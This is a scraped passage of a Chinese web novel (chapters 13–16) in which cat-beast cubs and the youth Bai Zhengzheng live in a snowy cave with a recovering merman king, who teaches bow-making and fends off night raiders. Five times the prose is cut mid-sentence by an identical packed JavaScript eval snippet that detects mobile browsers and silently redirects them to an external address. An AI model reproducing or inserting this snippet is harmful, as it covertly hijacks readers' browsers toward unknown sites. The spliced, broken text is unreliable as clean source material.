白争争坐在火堆边,身上的兽皮已经烤得很暖和。幼崽一趴上来,不一会儿就打着哈欠闭眼打盹。 洞里藤条碰撞的声音、石头敲击的声音都不小,但白争争抽空看了一眼人鱼,没醒。 他还在恢复期,身体疲惫,睡也睡得沉。 白争争抿了下唇。 再过一会儿,他肩膀上被自己踩出来的印记应该就不见了吧。 先前人鱼没醒时还能理直气壮当做收报酬,现在人鱼醒了,总不自在。 这样总往人家身上跑也不行,等今晚他干脆睡外面算了。 白争争盘算好,手上编得更快。 那藤条碰着脆响,叮叮当当,愣是没有把人鱼吵醒。 兽人们胆子也大了些,幼崽挨着白争争睡够了,开始在洞里乱窜。做一会儿活,玩儿上一会儿。 年最后将木棍嵌入个石块儿上,绑结实了,颠了两下冲白争争道:“争争,斧做好了,你试试。” 白争争放下藤筐,边上守着的州立马欢喜笑着,露出两个甜滋滋的酒窝。 他接替了白争争的活儿。 白争争拿了块木头,接过石斧,冲着木头砍。 烬在闷闷的敲击声中醒来,他眼中迷糊一瞬,顿时变得清醒。 耳边幼崽嬉闹,大一点的兽人在做事。 烬知道自己醒了会让他们不自在,只微微转头,目光落在抓着石斧躬身砍木头的亚兽人身上。 亚兽人裹得很严实,毛乎乎的。 露出来一张脸白净,眼睛清亮。不过抡石斧的动作似乎有些吃力,木屑飞溅,挂在亚兽人的额发上荡啊荡。 那发丝又黑又顺,随动作微微晃着。 试了一会儿,白争争将石斧递给年。 年在石斧刃边吹了一下。 还没得意呢,就看上面或浅或深的凹坑。 他愣愣看着。 白争争:“能用,但要不换换石头再做一把。” 他甩了甩手,掌心发红。 好重! 一点都没有铁斧好使! 洞中这些兽人们都还年轻,要部落里的那些年长兽人们才能做出一把好的石斧。他们经验丰富些。 “那我再换。”年闷头道。 他有些丧气。 也怪自己,当初在部落的时候不急着跟阿父他们学这些。现在要做工具了,连选石头的功夫都不到位。 白干! 这一想,倏尔念着不知情况的族人们,脑袋埋得更低了。 白争争还以为他只是沮丧没做好这斧子,重重拍了他肩膀两下。 “慢慢来,已经很好了。这把又不是不能用。” “能用!” “能用能用!”幼崽蜂拥跑来,遇到感兴趣的就得试试。几个踉踉跄跄地拱着木柄。 “你们抱不起来,小心砸到爪子。” “抱得起!” 幼崽有时候很倔,白争争弹了下他们脑门,做自己的去了。 “我先来。”圆道。她毛毛蓬松,圆头圆脑,连身子都偏圆。不过都是虚胖,本身没长多少肉。 “我来、我来!”芽蹲在斧头上,爪子压着不动。 “我们一起来?” “不行!” 幼崽争抢起来,芽坐在石头那一部分,摇摇晃晃,爪子勾住始终不动。 烬扫了一眼这些幼崽,目光随着亚兽人而去。 幼崽们搬不动石斧,将目标盯上坐在斧头上的芽,然后迅速团结一致,蜂拥而上。 芽被掀下石斧,一眼看到人鱼转动的脑袋,吓得他又是“嗷喵”一声,四爪飞蹿,吧唧一下四个爪子抱住年的脑袋,肚皮将年的脸都捂严实了。 年勾着崽子将他抓下来。 也不沮丧了,反倒拍着小崽子脑门当锣鼓敲。 “抢什么抢,嗷什么嗷!吵吵闹闹,耳朵都疼了。” 芽四肢紧抱住年的手,贼兮兮盯着还不明情况的猫崽们,脑瓜子嗡嗡响还不忘恐吓道:“人鱼醒了哦。” “喵!!!” 霎时,离幼崽最近的年被毛毛淹没。 “争争,你管管他们!” 没躲处的幼崽一听,反身冲向白争争。 白争争抬头,见人鱼尾鳍轻轻一扬,目光淡然看来。他搂住猫崽,轻拍下他们毛毛屁股。 “醒了。” 烬颔首。 目光划过幼崽们,知道吓到他们了。正要转头,就见刚刚还吓得乱窜的崽子们躲在白争争身后缓缓探头。 从亚兽人的腰后一个叠一个,一直到他肩膀,探出了一圈的脑袋。而中间的亚兽人也仰着巴掌大的脸,圆眼干净,抿着唇犹豫看来。 烬眼中笑意浅淡,一闪而逝。 还挺可爱。 怪不得他那大管家独独在猫上昏了头。 白争争:“要不要喝水?” 烬:“谢谢。” 白争争起身,堆在他身后的幼崽迅速换了其他兽人身后躲藏。 陶锅里常备着热水,白争争倒了些给他。 烬润了润喉咙,正要说话,却感觉尾巴处一凉。 他眼睫一抖,见亚兽人掀开了兽皮毯。 两人对视,烬看着亚兽人那干净的眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165265|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子不知道该说什么,他指腹紧压住碗沿,缓缓转过头。 白争争下意识要摸一摸尾巴干不干,手指刚碰上微凉的鳞片,只见那大扇子似的尾鳍一卷。 白争争手腕一凉。 正疑惑着,猛然想起兽人的尾巴好像不能随便碰,赶紧撤回手。 “抱歉,我就是……” 就是当人那么多年,又摸了那么多幼崽尾巴,还给人鱼敷了尾巴两个月,一时间意识达不到这事儿! 不过这话白争争说不出来。 烬喉结动了动,看着亚兽人慌乱间转身,默默垂眼。 算了,都摸过多少次了。 亚兽人也并非不知道,只是习惯了而已。 烬很快说服自己,等白争争飞快用打湿的兽皮盖了尾巴,才道:“没事,谢谢。” 他看着那双圆眼,放轻了声音。 似是因为眼神太平和,看得白争争乱蹦的心跳缓和下来,冲着烬露出个笑来。 “我就是顺手。” 烬再次道:“没事。” 白争争一颗心稳了,将人鱼喝完的碗拿走,继续干活儿。 幼崽们看完两人互动,躲在清跟州的背后,脑袋挤挨,一层叠着一层围成一团。 最里面坐着圆、雁、芽、肉,还有绒球四个纯粹凑热闹的小不点。 雁将爪子往地面一戳,声音极低道:“第一个问题,人鱼能不能接近?” “能!他不凶诶。”圆道。 “不能!他看我们都黑着脸,吓猫。”后头围着的幼崽道。 “可是他对争争也没凶啊,我刚刚还看见他笑了。”肉小声道。 “笑了?你怕不是做梦!人鱼那张鱼脸怎么会笑。”芽哼声道。 “不能说坏话!”雁严肃道。 “好吧好吧,就算人鱼不吃林猫,但看着他还是很害怕。” “我也害怕。” “我们都害怕。” 雁爪子挠了挠地,然后重重一拍。 “再观察观察。” “好~”猫猫们齐点头。 “第二个问题,人鱼是不是就对争争有意见?” 雁看向提出这个问题的芽,白眼一翻。 “你说说,怎么有意见?” 芽立即道:“他天天让争争给他敷尾巴。” 圆慢悠悠道:“那是争争对人家动手动脚。” 芽不服气又道:“那还让争争喂汤,让争争端水,让争争……让争争每晚给他取暖!” 雁叹气。 “傻崽子!那不都是争争先问的。” “你比我只大一天!”芽怒而拍爪,又说,“争争都没有这么问我们。” “就是喵!” “等等!”雁眼睛一眯,爪子猛地往地上挠了挠,“难不成……” “争争真的看上人鱼了!”猫崽们异口同声,吓得后仰。 一下又对上个笑眯眯的人脸,毛毛像蒲公英一样炸开,接二连三打嗝。 白争争轻轻问:“真的怎么了?” “真的是真的嗝!”幼崽们倒吸一口凉气,纷纷咳嗽,难以置信。 怪不得争争说人鱼好看! 怪不得争争喜欢窝在人鱼脖子睡觉! 怪不得争争要……要摸人鱼尾巴喵!!! 白争争看着这一群爪子挠头,分外凌乱的猫崽,有些疑惑。 真的啥了? 他就听到“真的”这俩字儿啊! 14.第 14 章 “争争,弓箭做好了!”风抓着弓打理木头上的毛刺,羽抓着一大把黑曜石做的箭镞跟看宝贝似地来回欣赏。 白争争弹了下幼崽耳朵,见他们还目瞪口呆地望着自己,摇了摇头。 幼崽的想法他揣测不明白。 “试试。” 弓箭的好坏关系明年的捕猎情况,白争争很重视。他走到三个少年跟前,看他们面前散乱的黑曜石片儿,道:“用完了?” “用完了。”风道,“这些碎片还要留着吗?” “留着,做成小刀片也能用。” 白争争拿起架弓搭箭,瞄准藤门。他腰背绷得笔直,目光如炬,手上慢慢拉弓。 兽人们的目光都落在白争争的身上。 烬看着那粗糙的弓,头微侧。 多半要断。 “啪——” 不出所料,弓裂开了。 白争争手一紧,差点就让箭滑下去。底下还蹲着猫崽子,一不小心就得在脑袋上戳个缝出来。 “不成。”白争争将断了的弓还给风,又拿过箭镞细看。 雄兽人虽说自小喜欢把弄这些东西,但到底是技术不到家。白争争也不气馁,多摸索摸索总能做出来几把。 他心态良好,但风几个蔫巴得不行。 本来满怀期待的,还想说别对着藤门,万一给捅出个窟窿怎么办。结果箭头都没飞出去,弓还断了。 打击太大了。 白争争也不会做弓箭,好在他们还有时间可以摸索。再怎么也见过部落里用的弓,照猫画虎,总能做出来的。 白争争正想开口安慰几句,冷不丁洞中响起一句—— “我试试。” 幼崽们吓了一跳,身体先一步跑到几个兽人身后躲藏起来。又忍不住好奇心,探头探脑。 烬很少说话,也就刚醒来的时候主动开过口。 白争争看他愿意帮忙,立即从风手中拿过断弓送上。 烬扫了眼,道:“直接用空心树不行,试试用野兽的角做弓梢,筋做弓背,空心树直接用来做弓杆……” 他看洞中有角兽的角,兽人们应该是能捕捉到一两只的。角兽的身躯庞大,皮、角、骨等等都可以用来做武器。 风几个听完面面相觑。 白争争瞄了一眼。 去啊,还愣着干什么! 现成的老师不请教,自己摸索要弄到什么时候。而且角兽他们吃完就剩下那么点东西,浪费一点都可惜。 三个少年互相打气,头顶的耳朵毛炸开,根根分明。 但还是忍着畏惧,坚定挪到人鱼面前。 “我们、我们还是没太懂。” 为什么还要分弓梢、弓背、弓杆,小时候不就是直接用空心树削一削,再细致一点用火烤烤弄个形状不就好了。 他们还用那个射到过鸟呢。 白争争听着别开脸。 看几个少年忙活大半个月,还真以为他们有至少那么一丁点的会做呢,结果原来是在玩儿过家家。 烬话不多,直接叫他们将要用到的材料拿过来。 他坐起身,靠在草垫上。 “角兽的角先分开。”角兽的角是树杈子样,一个能做好几把弓。 风当即去拿工具,烬看他对着角用石头砸了大半天,手一伸。 “唔?”三个少年不解。 白争争以为出什么事,也看过去。 就见烬一点都不废话,长长的指甲冒出来。黑红像入染了血,泛着邪气。偏偏又好看得紧。 “哇!”白争争眼睛灿亮。 幼崽攀在白争争身后,也长大嘴巴:“哇——” 烬看了白争争一眼。 白争争意识到失态,不好意思挠挠脸,但目光不离那手。 原来人鱼的手也挺好看的,颜色不是死白死白的了,但也白。手指细长,掌很大,线条比人家手模都优越。 更别说那颇有特色的指甲,一眼爱上。 好酷! 人鱼尾巴跟指甲都是武器,一个力气极大,一个锋利无比。只往那角上用力一划,直接切了下来。 “哇!!!” 这下不是白争争说的,是除他以外所有兽人说的。 幼崽们顿时崇拜地看着人鱼,更准确地来说是看着他的那一双手。 烬作为人鱼王,见过的目光无数,受过的崇拜也不少。 但被一群毛绒绒这么双眼发亮地看着,忽然就理解了他那大管家为什么执着个弱小林猫。 不过王毕竟经历得多,面上依旧不动声色。 他看着面前这三个少年,像对族中小人鱼一样,忍不住细致一点地教导起来。 白争争没去打扰,缓缓坐回自己刚刚的位置,继续编东西。 人鱼的声音好像也恢复了些,没那么沙哑了。清凌凌的,像冬日里冰下小溪淌流的声音。 白争争看着三个少年边做边请教,刚刚还害怕人鱼的幼崽们沉浸在人鱼的声音与散发的气场中,不知不觉挪得离石床越来越近。 白争争挠了挠窝在腿弯的幼崽下巴。 绒球翻身,四个爪爪抵着他的手心,缓缓踩起奶来。 而余下三个比他大一些的幼崽早已经在人鱼的声音中摊开黑爪垫的,闭目睡了过去。 白争争搅着藤条,偶尔腾出神来看看幼崽。 不可避免地又被人鱼吸引,看着看着手下动作停住。 雁一直在悄悄观察着白争争,见他这盯着人鱼目不转睛的“痴迷”模样,精神一振! 看吧!分明就是跟她猜测的一模一样。 “哎!”猫猫叹气。 清摸了一把猫崽的脑袋,低声道:“小小年纪,干什么这么一把年纪的。” “你不懂……”比巴掌还小点儿的猫崽摇头。 看得清直乐呵。 “是,咱雁最懂了。” 雁将猫猫头仰得更高,神气极了。 幼崽也太好玩儿了。 一下午的时间就在忙碌中过去,眼见天要黑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175743|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清跟白争争放下藤编。 装水的陶锅里已经没有水了,白争争将陶罐抱上,出去装雪回来。 “争争,今晚吃什么?”清问。 白争争往洞里看。 人鱼好像有些疲惫,全身放软了靠在草垫上。双目恹恹垂着,长睫浓如墨画,但依旧盯着做弓箭的三个少年。 偶尔说上一句话,声音又轻又缓。 白争争道:“吃鱼吧。” 清点头,取了草绳上挂着的两条大鱼,又掏了几把小鱼小虾混杂的海鲜干。 白争争将雪往洞中运,灶上的陶锅满了,又把这个带缝隙的装满搬进去。 烬确实累了。 他有些犯困,无精打采靠坐着,目光无意落到搬着陶罐进来的亚兽人。 洞中两道门现在开着,外面雪积了很厚。亚兽人曲着身子,抱着陶罐从那白茫茫的一片雪中进来,冷得哆嗦。 烬注意到他耳朵。 青紫泛红,已经有些裂口。 烬目光微深。 他肩上还残留着新鲜的兽人气息,是温暖的草木气息,又阳光晒过的味道。 很显然,这小兽又在他肩膀上睡觉了。 烬侧目落在自己肩侧,暗红的头发轻晃。烬目光一顿,轻轻从上面捻下来一根柔软的猫毛。 他将细小的毛毛放在掌心,安静看着。 他想,这里确实不好生存,或许王城里比较合适。 烬在出神,脑中有些发沉。 床边三个少年干了一下午,水都没喝一口,虽累但看着手中快要成型的材料,舒心地咧嘴傻笑。 本想开口感激一下,抬头却见烬不知什么时候闭上眼睛。 想睡熟了,手虚虚攥拳落在身侧,没个动静。 他们下意识看向白争争。 白争争瞥了一眼人鱼,冲着他们摇摇头。 盯了白争争一下午的雁无神的眼睛骤亮! 看!她又抓到了! 争争都怕吵醒他,这么关心人家。 想到这儿又不免吃味,两爪狠狠挠了挠地面,然后就被白争争拎着后颈抬起来,一人一猫面对面。 “饿了?” “唔。” “谁惹雁了?” 雁鼻尖耸耸鼻尖,四肢蜷缩动不了。白争争眉生得秀气,放缓了很有亲和力。 他将猫崽放在臂弯,从脑袋摸到背。 “不气不气,气了长不高。” 雁舒服地将自己团了团,下巴抵在白争争肩膀。“才不会呢。我以后比争争都高。” “那你加油。吃鱼吗?” “吃!”雁瞪了一眼床上的人鱼,两个爪子狠狠抱住白争争的脖子。 猫才不会怕人鱼! 猫还会吃鱼! 要是人鱼以后对争争不好,他们就把人鱼吃了! 哼! 虽然不知道幼崽在想什么,但看他由怒猫转成馋猫,白争争笑盈盈地用下巴蹭了蹭她的毛脑袋。 真可爱。 15.第 15 章 晚饭虽不简陋,但也不算新颖。每日换来换去不是这个汤就是那个汤,吃久了难免腻。 白争争看幼崽爪子攀着碗沿,慢吞吞地对着冷却的汤伸舌头。舔了好半晌,那肉汤就下去了半个指节不到。 白争争灌了一大口汤,鼓着腮帮子苦恼不已。 养幼崽好难! 他憋着气,一口将汤咽下去。 要不然干脆每半个月都出去找食物,换换口味,免得成天没个盼头,垂头丧气的。 幼崽囫囵填饱肚子,吃完后仔细清理毛毛。后背舔不到的,就转身让同伴帮忙。 清理了得有半个小时,差不多就准备上石床了。 不过在上去的时候有些犯了难。 人鱼还没睡。 烬在快吃饭那一阵睡过,白争争担心他半夜饿了又没吃的,将他喊醒了吃了点儿。 这会儿该睡觉了,人鱼也依旧靠着草垫,似乎还精神着。 幼崽们蹲在石床下踟蹰。 最小的绒球还是原来那样,爪子勾着兽皮毯吭哧吭哧爬了上去。他钻入兽皮底下,往自己往常睡觉的固定位置一趴,小呼噜就起来了。 几个胆子大的在石床底下勾了勾爪,也闷头往上钻。 但其余的十几只还是不动。 白争争坐在火堆边,摊开手,似细细看着掌心的纹路。脑子里却想起自己睡觉那德性…… 算了,还是睡最外头吧。 至于里面,让年去。 年:“……” 他使劲儿给白争争使眼神儿,眼皮子都快要抽搐了,也不见白争争动一下。 白争争慢慢察觉,赶紧转身,一副很忙的样子往火堆里放柴。 年看在石床边睁着水润圆眼,委屈望来的幼崽,心一狠,滚地变做个猫,脚步颇为沉重地一步步踏向石床。 路过清,尾巴迅速勾住他的腿,毛绒绒的身体贴靠过去蹭,臊眉耷眼也露出个委屈模样。 清抽回腿,不动声色离他远一截。 年:“喵呜~”额角一撮白的猫团子声音发嗲。 清默默背过身去。 比巴掌大些的猫吸了吸鼻子。 清清也不帮他…… 幼崽还期盼地望着,年只好慢慢往石床挪。 “要不然把人鱼继续扔干草上算了,反正人鱼生活在水里,又没他们怕冷。”他收了那副可怜姿态,不怎么道德地想。 林猫兽人兽形矮小,一群幼崽蹲在石床边烬也看不见。只看他们半晌不上来,烬有些明了。 他闭上眼睛,如一尊精雕细刻的白玉石像。 又过了会儿,兴许以为他睡着了,兽皮上才陆续传来些动静。 烬微卷的长发散在身前,朦胧火光下,泛着绸缎般的光泽。 他这会儿确实没多少睡意。 刚刚那阵小憩睡得不怎么安稳,做了梦,梦里都是受伤时的事儿。 他因护卫王城而伤,又遇海上风暴,被卷到环洲最外围。 王城那边有他的部下守着,应该没事。 战争前,他就做好了万全的准备。也吩咐族人,要是他五十个太阳日未回,人鱼族立即选任其他的王。 按照时间,现在新王已经在任上了。 靠着草垫不知多久,耳边只听得到兽皮底下传来的呼吸声。 烬睁开眼,目光落在石床中间鼓起的兽皮上。 兽皮覆盖着看不清里面,但他知道今天亚兽人睡在最外头。 兽皮边缘露出了一截尾巴。 尾巴尖是白色的。 二十几个林猫,唯有白争争这个亚兽人四爪白,尾巴尖也白。 烬看着微动的兽皮毯,又等了很久,才缓缓躺了下来。 他闭上眼睛,睡意渐渐袭来。 要是他能完全恢复,他会回到人鱼王国。 林猫兽人愿意的话,他也会将他们带着一起,不愿意他就带他们去一个更合适的居住地。 正要睡熟,忽觉兽皮又在动。 那动静由远及近,慢慢向他靠来。 放在身侧的手掌一重,似被踩了一脚。 烬意识顿然清晰。 有林猫顺着手臂往上拱,踩到他头发,头皮传来拉扯的感觉。 烬意识到是谁,侧目看着身侧兽皮下的动静,呼吸放轻。 微热的爪垫慢慢踩过臂膀,爪子尖戳着有点疼感。 随后一簇绒毛擦过下颚,子兽皮下钻出个猫脑袋。他攀上肩膀,爪垫在他身上踩了踩。 烬静看着那巴掌大的猫在颈窝处团好。 近在咫尺的小猫随着呼吸身体微微起伏,绒毛时不时擦过脸颊。脸上像被暖融融的温度烘烤着,看着看着,眼皮被困意牵拉,缓缓往下垂。 忽然,猫崽像不怎么舒服,动来动去。 烬睁眼,又见他勾了他的一缕头发仔仔细细盖在身上才安静下来。 他一时愣住,竟找不到言语说这只亚兽人。 或许是几个月一来身边一直挨着这么一小团,烬转过头,心绪收尽,也缓缓沉睡。 …… 夜色凉如冰,只有树枝受不住积雪,哗哗坠落的声音。 小山边缘,一群穴兽寻着味儿而来。 它们皮毛如树皮褐色,中间夹杂着白色的小圆点。 一只仅普通犬类大小,但一群二十几只,结成队伍在深深的雪地中前行。 它们喜食肉,尤爱血。擅长猎杀食草动物与小型兽人。 穴兽对大部落构不成威胁,甚至成为大部落的捕猎对象。但于小部落,尤其是食草部落,那便有毁灭性打击。 这群穴兽是这一片雪地的凶兽。 它们已经盯了这边许久,今晚就打算下手。 山中静谧,一点动静都能听清。 但安稳的日子过了几个月,幼崽们睡得熟,早忘了警惕。厚实的兽皮也掩盖了外面越来越近的动静。 洞中柴火将熄,火堆只有星星点点的微光。 烬忽然睁眼,寒光毕露。 他侧头紧盯洞门。 却不想一脸埋入了蓬松的绒毛中,背脊一僵,气势骤降。 触感太好,浓密的绒毛让烬有些呼吸不畅。 烬仰头,有些无奈地伸手将小猫往下带了带。 离洞口几十米处,领头的穴兽忽停。 烬将自己的头发从猫爪垫下抽出来,却不想他像被抢了宝贝似的,弯钩似的爪子弹出,猛勾得更紧。 烬头皮疼了一下。 他只好伸出一根手指,轻轻托着还露着爪子的猫爪垫,将小爪子抬起来。 掀开兽皮,撑着石壁下床。 顷刻间,大尾巴尾巴变成了两条长腿落地。 烬取过敷尾巴的兽皮围在腰间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187867|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,挪到洞口。他走得步步缓慢,如行走在刀尖,一会儿额头就生了汗。 直到开了两道门,直视那已经逼近洞穴的二十几双发亮的眼睛,他气势一冷,利爪伸出。 两方对峙,身躯强壮些的头兽伏低身子,目光贪婪,紧盯洞口的烬。 它们嗅得出来面前的兽人情况如何。 冬日捕猎太难,那满洞的食物气息对他们有致命的吸引力。可对人鱼,它们又有天然的惧怕。 它尾巴焦躁扫过雪面,头忽然一低,顷刻间,如风般往前冲击。 身后的穴兽紧随而上,一下超过了头兽。但有胆小的,却直接夹着尾巴就跑了。 烬看着眼前张开的血盆大口,闻到一股散发着热气的恶臭。 他随手一抓,手陷入粗糙的毛发里,却没任何预兆地分神想:没亚兽人的柔软。 握住穴兽的脖子一折,随手就扔到了旁边。 穴兽嘴里溢出鲜血,脖子竟是扭曲姿态。 一击毙命。 烬知道,这是头兽的试探。 见势不对,带头的穴兽猛地转身,夹着尾巴奔逃。不消片刻,二十几头穴兽消失得无影无踪。 直到看不见它们的身影,烬才矮身抓着雪缓缓搓了手。 人鱼虽没有毛的兽人怕冷,但冰天雪地的寒也适应不了。出来这会儿,他冷白的指节已经泛着红。 他望着遍地的白,目光微深。 恢复得还是不行,野兽都敢试探了。 他悄无声息出来,又安静躺回石床。看身侧的小猫一套熟悉的动作滚来,烬闭上眼,想着明日提醒他们一下。 没有防御的山洞住着太危险了。 双腿缓慢变成鱼尾,尾鳍轻轻颤着。烬闭了闭眼,忽视尾骨上的疼痛,酝酿睡意。 * 凌乱嘈杂的声音不断。 热气弥漫,混杂着食物的气息,充斥着早晨的山洞。 烬缓慢睁眼。 他习惯性地不作声,先观察洞中环境。 亚兽人不在,二十三个兽人少了三个。 或许是出去取雪了。 烬这样想着,却等了很久都不见人。 洞中幼崽分做三堆,一堆一个个架着一个,最顶上的圆脑袋猫兽人正抱着木勺搅汤。 那四个少年在继续做弓箭,四个最小的幼崽还趴在兽皮上玩儿摔跤。 烬担心昨晚的穴兽没走远,注意着那搅汤的猫兽人离了锅边,才道: “他呢?” 他冷不丁出声,吓得圆手中的勺子砸在了锅里。床上大苗、中苗、小苗三个小幼崽顿时跪趴,宛如叩拜。脑袋奋力藏在了绒的肚皮下,将小小的身躯高高架起。 烬看着跟前埋头在兽皮下,没挡住个什么的三只幼崽,默默移开眼去。 风试探道:“争争他们去海边了。” 烬淡声道:“昨晚有凶兽来过,外面危险。” “啊!我们怎么不……”羽话没说完,猛地脖子一紧,被风勾着往外跑。 “我们去跟争争说!” 烬扫了一圈洞中,除了近前这个胆子最大的幼崽被几个小胖猫托着,大着眼睛好奇看来,其余的或多或少不敢跟他对视。 烬敛眸不语。 洞中又过了一会儿,才响起窸窸窣窣的动静。 王不禁怀疑:他真的有那么吓幼崽吗? 16.第 16 章 风跟羽出去了好一阵,洞里最大的就只有桐跟州。 他们跟醒来的烬同在一个山洞,没了白争争,似乎也没什么交流的想法。 主要是不敢。 他们其实对人鱼还是很好奇的。 洞内宛如跟洞外一样冷,幼崽们紧挨在一起,一会儿抠爪子,一会儿悄悄看人鱼。 绒球趴在三个苗苗脑袋上,悠悠打了个哈欠。 他爪垫踩了踩猫猫头,团了团,一屁股坐下来压倒了小苗的脑袋。又按了按大苗后颈,趴下来,将前肢搭在他脑门上,正巧一个爪垫盖住大苗眼睛。 随后下巴搭在前肢上,眼皮半阖着,目光不离人鱼。 幼崽很小,像个小耗子。 全身还是胎毛,浑身炸开的,被白争争喂养得圆圆滚滚,像个行走的灰色蒲公英。 他胆子很大。 兴许是太小了,不知道什么是害怕。 烬靠着草垫又等了一会儿,耳朵听着动静。 圆听着锅里汤沸腾的声音,怕底下糊了,又重新爬上猫猫堆上,抓着勺子搅汤。 她嗅了嗅味道,熟了。 圆爪子勾了勾底下的幼崽,悄悄注意着人鱼,小声示意:“拿碗。” 幼崽们一哄而散,圆睁着眼睛直线下坠。 好在她早有预料。 圆在半空翻身身体,四肢轻巧而优雅地踩在地面。踩稳了,骄傲地扬起脑袋跟尾巴。 幼崽拿了碗排队,却在盛汤时犯了难。 猫爪拿不起汤勺。 州试图过来帮忙,石床上人鱼又动了。 幼崽们慌张四散,碗落在地上叮叮当当。 床上三个苗苗更是惊得脑袋一顶,将看人鱼看得正入神的绒球高高抛起。 他们惊得跪地一趴,趴得板板正正,活脱脱似三猫拜帝。 绒球慌乱,在空中划了划爪子,然后被烬握在手中。 白争争进来时,正正好看见石床上三猫对着烬叩拜,耳朵瑟瑟发抖。 这是……玩儿呢? 他脚步顿住,看向人鱼。 哦,他手中还有一只。 玩儿的是挟天子以令诸侯? 烬当着白争争的面,缓缓将绒球放在兽皮上。 “我没有……” “呜……别吃我!别吃我们!”石床上三个猫崽带着哭腔。 烬收回目光。 算了,还是不解释了。 白争争知道他们吓到了,三步做两步上前,赶紧将幼崽抱起来。挨个儿摸头顺毛。 “争争!吃饭啦!”圆拍了拍勺子,示意白争争。 白争争点头,抱着幼崽过去。 海岸线附近结了冰,但礁石缝隙里有不少海鲜。 白争争跟清他们敲了些肥肥的海蛎下来,又捡了不少海带跟螃蟹,可以做个烤海蛎。 早饭是圆做的,一人分得一碗,锅里就没剩的了。 白争争担心兽人们吃不饱,当即将海蛎去了一半的壳,放石板上烤。 正烤着,他看向一直没说过话的人鱼道:“昨晚的事谢谢你。” 烬:“嗯。” 雁目光在两人中间来回打转,明明争争不在的时候人鱼还那么紧张,现在争争回来了,他怎么不说话了呢? 雁爪子搓了搓身前的毛毛,苦恼摇头。 还得是她来! 她爪子往白争争腿上一勾,贼头贼脑道:“争争你凑过来。” 白争争不解。 他坐着,耳朵再凑也凑不到腿边去。 雁就前爪攀着他肩膀,身子直成长长一条,凑在他耳边悄声道:“你不知道,人鱼担心你呢。他开口就问你在哪里,你不回来还一直盯着洞口。” 白争争立马捏住小猫嘴。 “可别乱说。” “我唔!没、没乱说,不信你问他们!” 不知何时凑在白争争腿边的猫崽纷纷点头。 就是,可担心争争了。 争争不回来都打算去找他了。 没看见他要起来,把床上三个苗苗都吓到了。 白争争飞快瞥了眼人鱼,正好见他看着自己。他唇一抿,狠狠搓了搓猫猫头,耳垂滚烫。 虽然知道不是那么一回事,但还是不免有些臊。 谁家小猫这么八卦。 “吃你的海蛎去,别胡说八道!” “我……唔!” 白争争一掌扣住猫头,威胁:“不吃了?” “吃!”雁爪子抵住他的手,一边往后缩一边哼哼。 成年兽人就是这样,死不承认。 还没有他们幼崽坦诚! 新鲜的海鲜滋味很好,幼崽们吃了个舒服。吃完他们就玩儿去了。 白争争收拾了碗筷回来,擦干手,有些犹豫地挪到已经又在指导少年们做武器的人鱼跟前。 他扫了眼他尾巴,发现兽皮早已干了,赶紧避开他尾巴捻起兽皮去浸了水给他盖上。 人鱼只看过来一眼,又继续看着少年手中成型的弓箭。 猫崽们陆续犯困,白争争干脆坐在石床边,不一会儿膝上就堆满了猫。 他摸着毛绒绒,对人鱼道:“我们下次出门前,会跟你说一声。” 烬点头。 他接受得太过坦然,白争争都不好继续说。 昨晚他们确实睡得熟,加上过来这边就没遇到过有威胁的野兽,所以就放松了警惕。 要不是人鱼在,还不知道会发生什么。 亚兽人垂着脑袋,柔顺的黑发遮住半张脸颊,小巧高挺的鼻子跟白皙的下巴露出来。 他眉头微皱,唇角绷直。 烬不知道他在纠结什么。 猫兽人在他心中太过弱小,他这么做也只是因为作为环洲的王,他天然地将猫兽人们放在弱者的位置思考。 要说真有什么私心,最多是见习惯睡在肩膀上的小猫遇到危险,他有点不忍心罢了。 白争争不是个纠结性子,只是有些臊。 外面危险,他们还敢掉以轻心,让个病兽人帮忙,属实愧疚。 他正了正态度,赶紧问:“昨晚野兽什么时候来的?是什么野兽?” 烬自然知无不言。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187868|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人交流着,其余幼崽也听得清清楚楚。当知道是二十几只穴兽,他们毛毛都炸了。 